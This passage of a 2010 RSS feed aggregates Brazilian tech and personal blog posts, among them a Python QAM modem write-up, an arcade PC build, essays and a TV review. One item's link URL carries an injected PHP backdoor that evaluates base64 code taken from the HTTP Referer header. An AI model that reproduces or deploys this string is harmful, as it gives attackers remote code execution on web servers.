	<link>http://finance.epx.com.br/2010/02/tv-bastter-e-o-cemiterio-dos-malandros.html</link>
	<description>O Bastter continua evoluindo o esquema dele, com ferramentas cada vez mais profissionais, mas sem perder a característica de pessoalidade. Dentro de um universo onde há quem prometa 30% ao mês de rendimento em mercados que são necessariamente soma-zero (o tal do Forex), o Bastter destaca-se como o mais honesto e didático dentre os consultores de investimentos. &lt;br /&gt;&lt;br /&gt;Agora (ou há algum tempo, mas só vi agora), tem a &quot;TV Bastter&quot; (&lt;a href=&quot;http://www.tvbastter.com&quot;&gt;http://www.tvbastter.com&lt;/a&gt;), basicamente uma coleção de vídeos com dicas. (O único senão é o formato do vídeo, WMV; felizmente o Quicktime do Snow Leopard parece suportá-lo). &lt;br /&gt;&lt;br /&gt;Dentre esses, há a série &quot;Cemitério dos Malandros&quot;, com direito a entrada e locutor lembrando filmes do Zé do Caixão.  Cada &quot;filminho B&quot; fala sobre uma armadilha em que investidores iniciantes, aqueles que querem viver de Bolsa (todo mundo já teve esse sonho, é fato) costumam cair.&lt;br /&gt;&lt;br /&gt;Altamente recomendado, inclusive para rir um pouco e desestressar da quedona da Bovespa de ontem.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/36718727-1350609199044310148?l=finance.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Fri, 05 Feb 2010 12:49:33 +0000</pubDate>
</item>
<item>
	<title>Bad Coffee: Máquina de Arcade: Gambiarra I</title>
	<guid>http://rigues.badcoffee.info/?p=765</guid>
	<link>http://rigues.badcoffee.info/2010/02/03/maquina-de-arcade-gambiarra-i/</link>
	<description>&lt;p&gt;Segundo passo nos meus planos de &lt;span style=&quot;text-decoration: line-through;&quot;&gt;dominação mundial&lt;/span&gt;, ops, construção de minha própria máquina de arcade: transplantar os componentes para um “gabinete” temporário para que eu possa deixá-la montada em um canto e facilitar os testes. Afinal de contas limpar a mesa da cozinha, pegar a placa, a fonte, o HD, ligar tudo, catar o monitor do Gabriel, etc e tal não é produtivo.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;O plano:&lt;/em&gt; dar um pulo em uma loja de materiais para arte, comprar placas de MDF (um tipo de compensado, mais resistente) e montar um caixote para abrigar os componentes. Mas minha preguiça, combinada ao mau-tempo constante em São Paulo nos últimos meses, interferiu e resolvi não sair de casa.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Plano B:&lt;/em&gt; seguir o conselho do Leandro Pereira, que disse no Twitter: “monta dentro da caixa”. Faz sentido, a placa-mãe veio dentro de uma caixa de papelão razoavelmente resistente e do tamanho certinho. Não caberia a fonte, mas ela é bem protegida e pode ficar externa, nem o HD, mas para testes iniciais um pendrive de 16 GB dá e sobra. Então mãos à obra!&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;more-765&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Umas duas horas, alguns furos e cortes e um pouco de cola quente depois nascia o &lt;strong&gt;Gambiarra I&lt;/strong&gt;. Acho que quebrei TODAS as “boas-práticas” estabelecidas para montagem de PCs nessa máquina, mas ela funciona e cumpre seu propósito. A placa-mãe está parafusada a espaçadores de latão presos ao fundo da caixa. O espelho com os conectores é encaixado em um corte na traseira, e outro na frente dá espaço para um botão de força e um LED.&lt;/p&gt;
&lt;p&gt;Liguei o micro na TV de 32″ da sala e instalei o Ubuntu em um pendrive para um teste rápido. Por enquanto, tudo OK. Só preciso melhorar a ventilação da “caixa”: o clock do processador é automaticamente reduzido com o aumento da temperatura, e vi Street Fighter Alpha 3 cair de 60 FPS sólidos (com a tampa aberta, por isso os pregadores nas fotos) para 43 com ela fechada. Nada que mais alguns cortes nos lugares certos não resolvam.&lt;/p&gt;
&lt;p&gt;Por enquanto meu arcade é um PC numa caixa de papelão ligada à TV. O próximo passo é definir um sistema operacional e front-end, e iniciar o projeto dos controles. Espero ter essa parte pronta até o final das minhas férias, no início de março. Até lá, já posso ir jogando Street Fighter “na telona”. O problema é me acostumar com as 32 polegadas e voltar pra um CRT de 17 depois…&lt;/p&gt;

&lt;a href=&quot;http://rigues.badcoffee.info/2010/02/03/maquina-de-arcade-gambiarra-i/p1070259/&quot; title=&quot;P1070259&quot;&gt;&lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/02/P1070259-150x150.jpg&quot; title=&quot;P1070259&quot; height=&quot;150&quot; width=&quot;150&quot; alt=&quot;&quot; class=&quot;attachment-thumbnail&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://rigues.badcoffee.info/2010/02/03/maquina-de-arcade-gambiarra-i/p1070260/&quot; title=&quot;P1070260&quot;&gt;&lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/02/P1070260-150x150.jpg&quot; title=&quot;P1070260&quot; height=&quot;150&quot; width=&quot;150&quot; alt=&quot;&quot; class=&quot;attachment-thumbnail&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://rigues.badcoffee.info/2010/02/03/maquina-de-arcade-gambiarra-i/p1070262/&quot; title=&quot;P1070262&quot;&gt;&lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/02/P1070262-150x150.jpg&quot; title=&quot;P1070262&quot; height=&quot;150&quot; width=&quot;150&quot; alt=&quot;&quot; class=&quot;attachment-thumbnail&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://rigues.badcoffee.info/2010/02/03/maquina-de-arcade-gambiarra-i/p1070263/&quot; title=&quot;P1070263&quot;&gt;&lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/02/P1070263-150x150.jpg&quot; title=&quot;P1070263&quot; height=&quot;150&quot; width=&quot;150&quot; alt=&quot;&quot; class=&quot;attachment-thumbnail&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://rigues.badcoffee.info/2010/02/03/maquina-de-arcade-gambiarra-i/p1070265/&quot; title=&quot;P1070265&quot;&gt;&lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/02/P1070265-150x150.jpg&quot; title=&quot;P1070265&quot; height=&quot;150&quot; width=&quot;150&quot; alt=&quot;&quot; class=&quot;attachment-thumbnail&quot; /&gt;&lt;/a&gt;</description>
	<pubDate>Thu, 04 Feb 2010 04:22:51 +0000</pubDate>
</item>
<item>
	<title>Leo Boiko: 25</title>
	<guid>http://namakajiri.net/diary/?p=307</guid>
	<link>http://namakajiri.net/diary/2008/10/21/25/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/en/</link>
	<description>&lt;p&gt;Then one day you say the wrong thing to the wrong person and bam!, you’re fired&lt;br /&gt;
and forgotten,&lt;br /&gt;
shaken from Maya without even a goodbye,&lt;br /&gt;
blown by the wind in the streets 
with waves of other discarded bourgeois youth,&lt;br /&gt;
we the losers.&lt;/p&gt;

&lt;p&gt;The Machine hungers for new blood.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;A quarter century, and back to the starting point.  Not much to show
for all the trouble — a couple babies, a résumé full of job-hopping, a few boxes of the antidepressants I now can’t afford, too many
books, too much debt.  It doesn’t matter.  In the town
nothing’s real except the town.  It’s morning and grandma is
baking me cake.&lt;/p&gt;</description>
	<pubDate>Wed, 03 Feb 2010 22:38:30 +0000</pubDate>
</item>
<item>
	<title>Leo Boiko: An Index of Darryl Cunningham’s Psychiatric Tales</title>
	<guid>http://namakajiri.net/diary/?p=612</guid>
	<link>http://namakajiri.net/diary/psychiatric-tales-index/en/</link>
	<description>&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/07/people-with-mental-illness-enhance-our.html&quot;&gt;People With Mental Illness Enhance Our Lives&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/06/dementia-ward.html&quot;&gt;Dementia Ward&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/06/it-could-be-you.html&quot;&gt;It Could Be You&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/06/darkness-seven-page-story-about-my-time.html&quot;&gt;Darkness&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/06/mad-or-bad.html&quot;&gt;Mad or Bad&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/06/cut-and-delusions.html&quot;&gt;Cut &amp;amp; Delusions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/08/blood.html&quot;&gt;Blood&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/08/bipolar-disorder.html&quot;&gt;Bipolar Disorder&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/09/schizophrenia.html&quot;&gt;Schizophrenia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/10/suicide.html&quot;&gt;Suicide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://darryl-cunningham.blogspot.com/2009/11/psychiatric-tales-last-chapter.html&quot;&gt;Last Chapter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p style=&quot;text-align: center;&quot;&gt;⁂&lt;/p&gt;

&lt;p&gt;I consider it a mistake to have discussed my clinical depression in this blog.  The general public is basically ignorant about mental diseases, and with the safety of distance, people in the Internet have a belligerence they wouldn’t dream of showing in real life (the “Internet Tough Guy” phenomenon).  If you have mental problems, that’s  …not good.&lt;/p&gt;

&lt;p&gt;Nonetheless it did have a few good effects.  After I came out this particular closet, several people have privately contacted me about their own problems, telling me of how much my posts helped them.  That alone makes it worth to have endured the trolls.  When you’re mentally ill, it’s &lt;strong&gt;very&lt;/strong&gt; important to find out you aren’t the only one.&lt;/p&gt;

&lt;p&gt;Darryl Cunningham’s Psychiatric Tales was that important to me, and I always recommend it to my friends who need the same kind of help.  However, I can’t seem to find an index, and I always struggle to find all chapters.  This time I’m writing it down for later reference.  Because it could be useful for someone, I’m posting the list.&lt;/p&gt;

&lt;p&gt;I suspect there’s an index somewhere and I’m being a dummy, but who knows—one more cannot hurt.&lt;/p&gt;</description>
	<pubDate>Mon, 01 Feb 2010 23:19:00 +0000</pubDate>
</item>
<item>
	<title>Epx: Familismo reverso</title>
	<guid>tag:blogger.com,1999:blog-20994619.post-2547018418573614408</guid>
	<link>http://casagrande.epx.com.br/2010/01/familismo-reverso.html</link>
	<description>Segundo o livro &quot;A Cabeça do Brasileiro&quot;, somos um povo familista. Familismo é dar mais valor às relações familiares do que às relações de amizade. Naturalmente, esta definição considera a &quot;família estendida&quot; de uma pessoa adulta (pai, mãe, irmão, cunhado, sobrinho) e não a &quot;família nuclear&quot; (cônjuge e filhos pequenos), já que esta última é (ou deveria ser) unida demais para sequer ser comparada a um laço de amizade.&lt;br /&gt;&lt;br /&gt;O tal livro classifica o familismo como uma coisa ruim, pelo menos em nosso tempo, pois limita o &quot;raio de ação&quot; da pessoa, tanto geografica quanto culturalmente. Além disso, o laço familiar não é meritocrático (meritocracia é outro valor muito rarefeito na cabeça do brasileiro). Mas esta discussão está lá no livro. Os dois centavos de contribuição que pretendo dar em cima disso, é o caráter &quot;reverso&quot; que muitos brasileiros revelam em seu familismo.&lt;br /&gt;&lt;br /&gt;O futebolista Edmundo, o Animal, teria dito uma vez que &quot;todo jogador de futebol, logo que ganha o primeiro dinheirinho, compra uma Cherokee, uma loira e uma &lt;span style=&quot;font-style: italic;&quot;&gt;casa pra mãe&lt;/span&gt;&quot;. Não sei a frase é dele mesmo, mas ainda assim é costumeiramente atribuída a ele. Atenção ao grifo.&lt;br /&gt;&lt;br /&gt;Por outro lado, falando ainda de jogadores de futebol, não passa uma semana sem a seguinte notícia: Decretada prisão do atleta Fulano por não pagamento da pensão alimentícia. O Romário é um dos habituées neste tipo de manchete.&lt;br /&gt;&lt;br /&gt;Também vi em inúmeras ocasiões, nesses programas de auditório que distribuem prêmios, pessoas humildes dizendo o que iam fazer com a bolada: &quot;comprar casa pra mãe&quot; e&quot;ajudar meus irmãos&quot; estão sempre brigando pelo topo da lista de prioridades. Os sete filhos da sujeita terão de ser pacientes.&lt;br /&gt;&lt;br /&gt;Será que deu pra enxergar um padrão aí?&lt;br /&gt;&lt;br /&gt;Observando estes e muitos outros fatos, me parece que o brasileiro pratica um familismo invertido, que prioriza os personagens errados da família. Parece um traço cultural bonito, essa coisa de comprar casa pra mãe, mas na verdade é uma coisa feia.&lt;br /&gt;&lt;br /&gt;Pelo menos na minha cabeça, a família é uma construção social cuja finalidade é cuidar da prole, com círculos concêntricos de responsabilidade: família nuclear, vertical, colateral, estendida, até chegar no grupo social e na nacionalidade. A responsabilidade primária é do pai e da mãe, mas se eles faltarem, haverá uma avó, uma tia, um padrinho.&lt;br /&gt;&lt;br /&gt;Uma vez a criança tornando-se adulta, a utilidade e responsabilidade da família estão exauridas. Se os membros adultos de uma família mantém laços de amizade, isso é ótimo. Eu posso dizer, por experiência própria, que tenho muito mais afinidade com meu pai hoje, do que quando eu estava sob o pátrio poder. Mas isso é um bônus, uma agradável surpresa.&lt;br /&gt;&lt;br /&gt;Tirante dívidas de gratidão, que não faz sentido pagar em dinheiro, pois muitas vezes são de tamanho infinito, não me sinto obrigado a coisa alguma em relação a meus pais. Minha obrigação é com meu filho enquanto incapaz; e com minha esposa que não trabalha fora para cuidar dele. &lt;br /&gt;&lt;br /&gt;Se eu começasse a despender recursos comprando casa para a mãe, carro para a irmã, e extravagâncias assemelhadas de que a gente ouve falar, não estaria eu completamente errado em minhas prioridades? É pra frente que se anda.&lt;br /&gt;&lt;br /&gt;O jogador de futebol que compra casa para a mãe durante sua (tipicamente breve) carreira, enquanto se esquiva de formar um patrimônio e/ou pagar pensão alimentícia, não está condenando seus filhos a um futuro sombrio?&lt;br /&gt;&lt;br /&gt;Aliás, pensão alimentícia virou um dos bichos-papões da classe média. Todo mundo conhece uma história de horror a respeito do assunto. Um amigo recentemente contou-me que o juiz em certa ocasião arbitrou a pensão em 150% do seu salário. É certo que existem exageros, é certo que existem mulheres que fazem do títuo &quot;ex-esposa&quot; uma verdadeira profissão. Assim como muitos homens pagam 150 reais por mês de pensão para um filho e se consideram roubados e injustiçados. Em havendo exageros de parte a parte, acho que podemos supor que, na média, as pensões arbitradas são justas e condizentes com a obrigação moral de um pai manter sua prole. &lt;br /&gt;&lt;br /&gt;Enfim, alguém vai estranhar estas minhas palavras, já que eu costumo afirmar que os pais não têm de &quot;se matar&quot; para dar luxo aos filhos. Nem estou advogando isso agora. Só acho que não faz sentido puxar o tapete da geração seguinte, e deixar de cuidar da própria vida, para fazer barretada à geração anterior.&lt;br /&gt;&lt;br /&gt;Como diz o ditado popular, jabuti não sobe em árvore; se ele está lá, é porque alguém botou. É claro que esses comportamentos têm origem positiva, na educação. São as mães deste país, onde 1/3 dos nascidos não tem pai, que educam seus filhos para serem bons filhos, em vez de cumprirem seu papel e educar-lhes para serem bons maridos, bons pais e bons cidadãos.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/20994619-2547018418573614408?l=casagrande.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Mon, 01 Feb 2010 16:32:44 +0000</pubDate>
</item>
<item>
	<title>Epx: AGC control in Python modem, version 3 finished</title>
	<guid>tag:blogger.com,1999:blog-16987833.post-6126159846847467966</guid>
	<link>http://senzala.epx.com.br/2010/01/agc-control-in-python-modem-version-3.html</link>
	<description>This afternoon I put the last block into Python QAM &quot;modem&quot; version 3: Automatic Gain Control (AGC). The sources can be found at &lt;a href=&quot;http://epx.com.br/wav&quot;&gt;http://epx.com.br/wav&lt;/a&gt;, the m3*.py files, as well as gray.py as a dependency. The feature can be tested by e.g. changing volume of qam.wav file using Audacity.&lt;br /&gt;&lt;br /&gt;AGC allows the modem to adapt to different power levels. Up to now, V3 modem was not adapting to the &quot;volume&quot; in WAV file; it assumed that TX always used 90% of dynamic range. V2 already had a crude amplitude measurer which only paid attention to the training header sequence. But a true AGC must adapt to changes mid-flight.&lt;br /&gt;&lt;br /&gt;This is easier said than done. The main problem is that AGC must figure out the full dynamic range, that is, the maximum amplitude a symbol may have. But there is no guarantee that the &quot;strongest&quot; symbols will actually appear in QAM signal. And, if they appear, how does AGC &quot;know&quot; that they are the ones?&lt;br /&gt;&lt;br /&gt;A crude solution would be to send the training sequence at maximum amplitude every few seconds, which is easily detectable as a no-data sound, but this wastes bandwidth and is not 1337 enough :)&lt;br /&gt;&lt;br /&gt;The actual solution that real-world modems employ is to work with power level &lt;span style=&quot;font-style: italic;&quot;&gt;averages&lt;/span&gt;. It is trivial to calculate the average amplitude of our constellation. Then, we maintain a moving average of QAM signal reception, and compensate for the difference.&lt;br /&gt;&lt;br /&gt;V3 uses a one-second moving average, which is short enough to profit from initial training sequence, and adapts fast enough while actual data is being received. TX was changed to send a training sequence at this average power level instead of the maximum possible power level, so AGC does not have to distinguish between training and data signal parts.&lt;br /&gt;&lt;br /&gt;Then we have another problem: will actual signal power average match the theoretical constellation average? In theory, this will happen only if all symbols are equally probable. Real-world modems employ a randomizer on bit stream to ensure that. &lt;br /&gt;&lt;br /&gt;I was optimistic that AGC would get a good average without a randomizer, but I was wrong. AGC will not work at all without a very random bit stream! It is incredible how ordinary data, like a text file, is so visibly non-random at such a low level.&lt;br /&gt;&lt;br /&gt;So, out of necessity, I have implemented a very simple bit randomizer for V3, with a &quot;4th order polynominal&quot;. This is a very pedantic way to say that randomizer takes into account the last 4 bits to figure out the next one, which is calculated with simple XOR operations. To be even more pedantic, I even employed a good programming practice this time: a self-test.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# Randomizer: 1 + x**-3 + x **-4&lt;br /&gt;&lt;br /&gt;def randomize(b0):&lt;br /&gt;    global b1, b2, b3, b4&lt;br /&gt;    bs = b0 ^ (b3 ^ b4)&lt;br /&gt;    b1, b2, b3, b4 = bs, b1, b2, b3&lt;br /&gt;    return bs&lt;br /&gt;&lt;br /&gt;def derandomize(b0):&lt;br /&gt;    global b1, b2, b3, b4&lt;br /&gt;    bt = b0 ^ (b3 ^ b4)&lt;br /&gt;    b1, b2, b3, b4 = b0, b1, b2, b3&lt;br /&gt;    return bt&lt;br /&gt;&lt;br /&gt;rseq = [ int(random.random() * 2) for x in range(0, 25) ]&lt;br /&gt;b1, b2, b3, b4 = (0, 0, 0, 0)&lt;br /&gt;rseqS = [ randomize(b) for b in rseq ]&lt;br /&gt;b1, b2, b3, b4 = (0, 0, 0, 0)&lt;br /&gt;rseqT = [ derandomize(b) for b in rseqS ]&lt;br /&gt;b1, b2, b3, b4 = (0, 0, 0, 0)&lt;br /&gt;&lt;br /&gt;if rseqT != rseq:&lt;br /&gt;    print &quot;Randomizer is broken&quot;&lt;br /&gt;    print rseq&lt;br /&gt;    print rseqS&lt;br /&gt;    print rseqT&lt;br /&gt;    sys.exit(1)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This randomization scheme was copied directly from Fabio Montoro's &quot;Modem e transmissão de dados&quot; book.&lt;br /&gt;&lt;br /&gt;It was funny to realize in practice how important the randomizer is, when you simply don't know the power level at RX side and must figure it out based on data stream itself.&lt;br /&gt;&lt;br /&gt;Determining power level using averages, even with the help of randomizer, does not have the same precision as knowing it beforehand. This reduces the number of bits per symbol that modem can handle. V3 had reached 16 bits/symbol, now the highest reliable level is 12. (Turning off AGC in RX side makes it go back to 16.)&lt;br /&gt;&lt;br /&gt;AGC was the last thing to implement in V3. The next major milestone, V4, will add some form of convolutional coding to increase noise resistance.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/16987833-6126159846847467966?l=senzala.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Sat, 30 Jan 2010 04:36:39 +0000</pubDate>
</item>
<item>
	<title>Avi Alkalay: The Flash versus Apple War</title>
	<guid>http://avi.alkalay.net/?p=1287</guid>
	<link>http://avi.alkalay.net/2010/01/flash-versus-apple-war.html</link>
	<description>&lt;p&gt;This is my reaction to &lt;a href=&quot;http://theflashblog.com/?p=1703&quot;&gt;The iPad provides the ultimate browsing experience?&lt;/a&gt; that appeared on the Flash Blog.&lt;/p&gt;
&lt;p&gt;I’m not an Apple fan but I tend to disagree with that campaign of Flash support.&lt;/p&gt;
&lt;p&gt;Clearly, this is another platform war. The Apple platform versus the Flash platform. It is very strategic for Apple to keep the attention of developers on the platforms and technologies they support. Supporting Flash means the opposite for Apple, so this is why they won’t allow it.&lt;/p&gt;
&lt;p&gt;In this case I’ll be with Apple because their platform is the pure browser, standard, open HTML5 with XML-SVG and JavaScript – which all sum a platform as exciting, beautiful, colorful, dynamic, interactive as the proprietary Flash, but open.&lt;/p&gt;
&lt;p&gt;Flash is proprietary, bad for SEO, bad for the semantic web, bad for deep linking, bad for the customer, good only for lazy web developers.&lt;/p&gt;
&lt;p&gt;I hate visiting websites entirely built on Flash.&lt;/p&gt;
&lt;p&gt;So if you, web developer, want to support your web apps on the iPad, iPhone, iTouch etc, just use standard web technologies (to cite them again: HTML5, SVG, JavaScript). Oh, by the way, all other browser will be (or should be) supported right away because these are the good technologies.&lt;/p&gt;
&lt;p&gt;The only thing Flash is still useful for is playing streamed MP4+H.264 video. Nothing else.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;small&gt;© Avi for &lt;a href=&quot;http://avi.alkalay.net&quot;&gt;Avi Alkalay&lt;/a&gt;, 2010. |
&lt;a href=&quot;http://avi.alkalay.net/2010/01/flash-versus-apple-war.html&quot;&gt;Permalink&lt;/a&gt; |
&lt;a href=&quot;http://avi.alkalay.net/2010/01/flash-versus-apple-war.html#comments&quot;&gt;No comment&lt;/a&gt; |
reactions to by &lt;a href=&quot;http://www.google.com/blogsearch?hl=en&amp;amp;q=http://avi.alkalay.net/2010/01/flash-versus-apple-war.html&quot; title=&quot;Linking blogs to this article, on Google&quot;&gt;Google&lt;/a&gt; and &lt;a href=&quot;http://www.technorati.com/search/http://avi.alkalay.net/2010/01/flash-versus-apple-war.html&quot; title=&quot;Linking blogs to this article, on Technorati&quot;&gt;Technorati&lt;/a&gt; |
Add to
&lt;a href=&quot;http://del.icio.us/post?url=http://avi.alkalay.net/2010/01/flash-versus-apple-war.html&amp;amp;title=The Flash versus Apple War&quot;&gt;del.icio.us&lt;/a&gt;&lt;br /&gt;
Classified by author as: &lt;a href=&quot;http://avi.alkalay.net/cat/ict/multimedia&quot; rel=&quot;category tag&quot; title=&quot;View all posts in Multimedia&quot;&gt;Multimedia&lt;/a&gt;,  &lt;a href=&quot;http://avi.alkalay.net/cat/ict/web20&quot; rel=&quot;category tag&quot; title=&quot;View all posts in Web 2.0&quot;&gt;Web 2.0&lt;/a&gt;&lt;br /&gt;
Tagged by author with: &lt;br /&gt;
&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;&lt;small&gt;Feed enhanced by &lt;a href=&quot;http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/&quot;&gt;Better Feed&lt;/a&gt; from  &lt;a href=&quot;http://planetozh.com/blog/&quot;&gt;Ozh&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;</description>
	<pubDate>Fri, 29 Jan 2010 14:29:52 +0000</pubDate>
</item>
<item>
	<title>Epx: Reaching 48000 bps</title>
	<guid>tag:blogger.com,1999:blog-16987833.post-2690563912691868476</guid>
	<link>http://senzala.epx.com.br/2010/01/reaching-48000-bps.html</link>
	<description>&lt;a href=&quot;http://www.epx.com.br/blog/uploaded_images/Screen-shot-2010-01-29-at-3.19.31-AM-739382.png&quot;&gt;&lt;img src=&quot;http://www.epx.com.br/blog/uploaded_images/Screen-shot-2010-01-29-at-3.19.31-AM-739380.png&quot; alt=&quot;&quot; border=&quot;0&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 130px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The graph above is the waveform for the 38400 bps QAM signal. While I believe in math, my common sense refuses to believe that any information can be recovered from such a chaotic wave.&lt;br /&gt;&lt;br /&gt;The &quot;version 3&quot; QAM modem written in Python is a real winner. Today, some of the FIXMEs in code were implemented, and the thing reached 38400 bps at 2400 baud, and 48000 bps at 3000 baud -- both using 16 bits per symbol. Note that 3000 baud is almost twice the rate of 1800Hz carrier!&lt;br /&gt;&lt;br /&gt;It &quot;wanted&quot; to work at 18 bits/symbol, but showed too many errors. I am not sure whether 16-bit WAV quantization is the hard limit here, but it seems to be the case. I was quite surprised to see that transmitted message was still recognizable, albeit corrupted.&lt;br /&gt;&lt;br /&gt;The changes in v3 which allowed this performance jump are:&lt;br /&gt;&lt;br /&gt;1) added code to detect adjacent symbols which are equal in amplitude and phase. While all V3 constellation symbols cause a phase change, sometimes it is very small, especially if we are sending many bits per symbol.&lt;br /&gt;&lt;br /&gt;The algorithm is simple: if a symbol change is not detected within the expected interval, the complex signal is sampled anyway. Idiot as it seems, it allows RX to handle up to 16 bits per symbol, while it handled only 7 before.&lt;br /&gt;&lt;br /&gt;2) Added a carrier Hz compensation, PLL-like. Any difference between TX and RX carriers cause a &quot;phase drift&quot; in decoded QAM signal -- that is, phase shows a small but continuous rotation in absolutely every sample. This can be distinguished from sudden, time-limited symbol phase rotations, and compensated for.&lt;br /&gt;&lt;br /&gt;I discovered that phase drift is more stable (and hence easier to handle) if RX carrier frequency is smaller than TX. If TX carrier is above TX, phase drift oscilates in a difficult way. So, now we make sure that RX carrier is always &quot;low&quot;. For symbols with 16 bits each, RX can tolerate up to 15 Hz carrier deviation, which seems very good to me.&lt;br /&gt;&lt;br /&gt;3) Constellation uses Gray code now, so adjacent points are guaranteed to have only one different bit. This &quot;softens&quot; errors (even if RX resolves to the wrong symbol, chances are just one bit will be corrupted), and helps whatever error-correction algorithms in use (currently we use none, but I plan to implement convolutional codes in V4).&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Towards v4&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Actually, the v3 performance numbers are getting meaningless; of course they are possible just because the medium is a noiseless 16-bit WAV file, whose Shannon capacity is almost 700 kbps. (The Shannon limit of a phone line is around 24kbps.) &lt;br /&gt;&lt;br /&gt;The next challenge is to make RX work well on noisy and band-limited signals. Rates like 14400bps will be possible only by implementation of convolutional code, I guess.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/16987833-2690563912691868476?l=senzala.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Fri, 29 Jan 2010 06:17:15 +0000</pubDate>
</item>
<item>
	<title>Avi Alkalay: Samsung LED TV with Medi@ 2.0 is not ready for me</title>
	<guid>http://avi.alkalay.net/?p=1282</guid>
	<link>http://avi.alkalay.net/2010/01/samsung-led-tv-with-media-20-is-not-ready-for-me.html</link>
	<description>&lt;p&gt;Today I spent several hours testing the almost amazing Samsung LED TV on a local store. More specifically the UN40B7000 model.&lt;/p&gt;
&lt;p&gt;The image quality is great and all but I was more interested in the digital multimedia features included in these new models, branded &lt;a href=&quot;http://www.samsung.com/us/consumer/learningresources/medi2.0/&quot;&gt;Medi@ 2.0 (or Media 2.0)&lt;/a&gt;. You actually plug these TVs on your home network and can access media content on a home &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_Living_Network_Alliance&quot;&gt;DLNA/UPnP&lt;/a&gt; server or the Internet.&lt;/p&gt;
&lt;p&gt;Well, I tested almost all features and I can say it is a good product but its not ready for me to buy, and let me point why:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Matroska&quot;&gt;MKV (Matroska)&lt;/a&gt; video files with DTS audio tracks won’t play audio. I got a message on the screen saying the audio codec is not recognized. Well, DTS is pretty popular.&lt;/li&gt;
&lt;li&gt;Chapter information embedded on MKV video files will be ignored. Also, if you want fast forward a movie, 2x is the fastest you can get.&lt;/li&gt;
&lt;li&gt;There is no way to choose which audio track embedded on a MKV or MP4 file will be played, in case you have video files with multiple audio tracks.&lt;/li&gt;
&lt;li&gt;Subtitles embedded in MKV and MP4 movie files are ignored. Apparently only external subtitles files are supported but I didn’t tested it because I embed all my videos with their subtitles. Anyway, external subtitle files may lead to other problems such as charset selection and I couldn’t find any menu option for such things.&lt;/li&gt;
&lt;li&gt;To search the handy embedded YouTube application you have to use the numeric keypad on the remote control as you type SMS in those old fashioned cell phones.&lt;/li&gt;
&lt;li&gt;I can live with all the above but there is one unacceptable super irritating limitation: you can’t browse other files or slideshow photos while music is being played. So you browse your MP3s, select an album to play and you are stuck there. If you try to go back to the menus, the music will stop playing. This is soooo 1980.&lt;/li&gt;
&lt;li&gt;It is very difficult to find complete specifications for this TV. For example, the list of supported codecs etc. Samsung website has a nice design but is very non practical and doesn’t provide enough information.&lt;/li&gt;
